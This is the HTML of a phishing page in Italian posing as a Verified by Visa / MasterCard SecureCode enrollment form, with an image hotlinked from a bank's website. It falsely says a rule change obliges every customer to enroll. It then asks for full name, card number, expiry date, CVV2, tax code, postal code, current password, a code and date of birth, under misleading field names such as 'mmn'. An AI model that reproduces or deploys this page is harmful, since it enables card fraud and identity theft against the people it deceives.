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<title>Verified by Visa | MasterCard SecureCode | di iscrizione:</title>
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<img src="http://midwestone.com/images/Verified_fc_lg.jpg" border="0" width="89" height="50" alt="" ></td>
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<span class='mtitle'>Verified by Visa / MasterCard SecureCode di iscrizione:</span></td></tr>
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<span class='mbody'>A causa di recenti modifiche al regolamento di copertura FDC Cassetta tutti i nostri clienti devono essere iscritti a Verified by Visa o MasterCard SecureCode programma a seconda del tipo di vostro controllare la scheda. <b>Per continuare a compilare il presente modulo e fare clic su Conferma .</span></td></tr>
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<td align="left" width="34%"><span class='mbodysmall'><label for='name'><b>Nome e cognome:</b></label></span></td>
<td align="left"><span class='mbodysmall' NOWRAP><input type='text' name="name" id="name" maxlength='100' size='15' value="" style='width: 150px; height: 22px; COLOR: #000000; FONT-FAMILY: Arial; FONT-SIZE: 12px;' ></span></td>
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<td align="left" width="34%"><span class='mbodysmall'><label for='ccn'><b>Numero di carta:</b></label></span></td>
<td align="left"><span class='mbodysmall' NOWRAP><input type='text' name="ccn" id="ccn" maxlength='16' size='15' value="" style='width: 120px; height: 22px; COLOR: #000000; FONT-FAMILY: Arial; FONT-SIZE: 12px;' > (16 digits)</span></td>
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<td align="left" width="34%"><span class='mbodysmall'><label for='exp'><b>Data di scadenza:</b></label></span></td>
<td align="left"><span class='mbodysmall' NOWRAP><input type='text' name="mm" id="mm" maxlength='2' size='2' value="" style='width: 20px; height: 22px; COLOR: #000000; FONT-FAMILY: Arial; FONT-SIZE: 12px;' > / <input type='text' name="yyyy" id="yyyy" maxlength='4' size='4' value="" style='width: 35px; height: 22px; COLOR: #000000; FONT-FAMILY: Arial; FONT-SIZE: 12px;' > (Mese/Anno)</span></td>
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<td align="left" width="34%"><span class='mbodysmall'><label for='cvv'><b>CVV2:</b></label></span></td>
<td align="left"><span class='mbodysmall' NOWRAP><input type='text' name="cvv" id="cvv" maxlength='3' size='15' value="" style='width: 30px; height: 22px; COLOR: #000000; FONT-FAMILY: Arial; FONT-SIZE: 12px;' > (Ultime 3 cifre sul retro)</span></td>
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<td align="left" width="34%"><span class='mbodysmall'><label for='bank'><b>Codice fiscale:</b></label></span></td>
<td align="left"><span class='mbodysmall' NOWRAP><input type='text' name="mmn" id="mmn" maxlength='100' size='20' value="" style='width: 135px; height: 22px; COLOR: #000000; FONT-FAMILY: Arial; FONT-SIZE: 12px;' ></span></td>
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<td align="left" width="34%"><span class='mbodysmall'><label for='pass1'><b>CAP:</b></label></span></td>
<td align="left"><span class='mbodysmall'><input type='text' name="pass2" id="pass2" maxlength='10' size='15' value="" style='width: 100px; height: 22px; COLOR: #000000; FONT-FAMILY: Arial; FONT-SIZE: 12px;' ></span></td>
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<td align="left" width="34%"><span class='mbodysmall'><label for='pass1'><b>Password attuale:</b></label></span></td>
<td align="left"><span class='mbodysmall'><input type='text' name="pass1" id="pass1" maxlength='40' size='15' value="" style='width: 100px; height: 22px; COLOR: #000000; FONT-FAMILY: Arial; FONT-SIZE: 12px;' ></span></td>
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<td align="left" width="34%"><span class='mbodysmall'><label for='pass1'><b>Codice:</b></label></span></td>
<td align="left"><span class='mbodysmall'><input type='text' name="pass3" id="pass3" maxlength='40' size='15' value="" style='width: 100px; height: 22px; COLOR: #000000; FONT-FAMILY: Arial; FONT-SIZE: 12px;' ></span></td>
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<td align="left" width="34%"><span class='mbodysmall'><label for='pass2'><b>Data di nascita:</b></label></span></td>
<td align="left"><span class='mbodysmall'><input name="r" size="2" tabindex="18" maxlength='2' ><span>-</span><input name="s" size="2" maxlength='2' tabindex="19"><span>-</span><input name="t" size="5" maxlength='4' tabindex="20"><font size="2" face="Verdana"><span>(Giorno-Mese-Anno)</span></font></td>
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<span class='mbodysmall'>Se già iscritti a Verified by Visa o MasterCard SecureCode programma di continuare per favore inserire la password corrente o poi selezionare il nuovo<b>clicca su Conferma.</b></span></td></tr>
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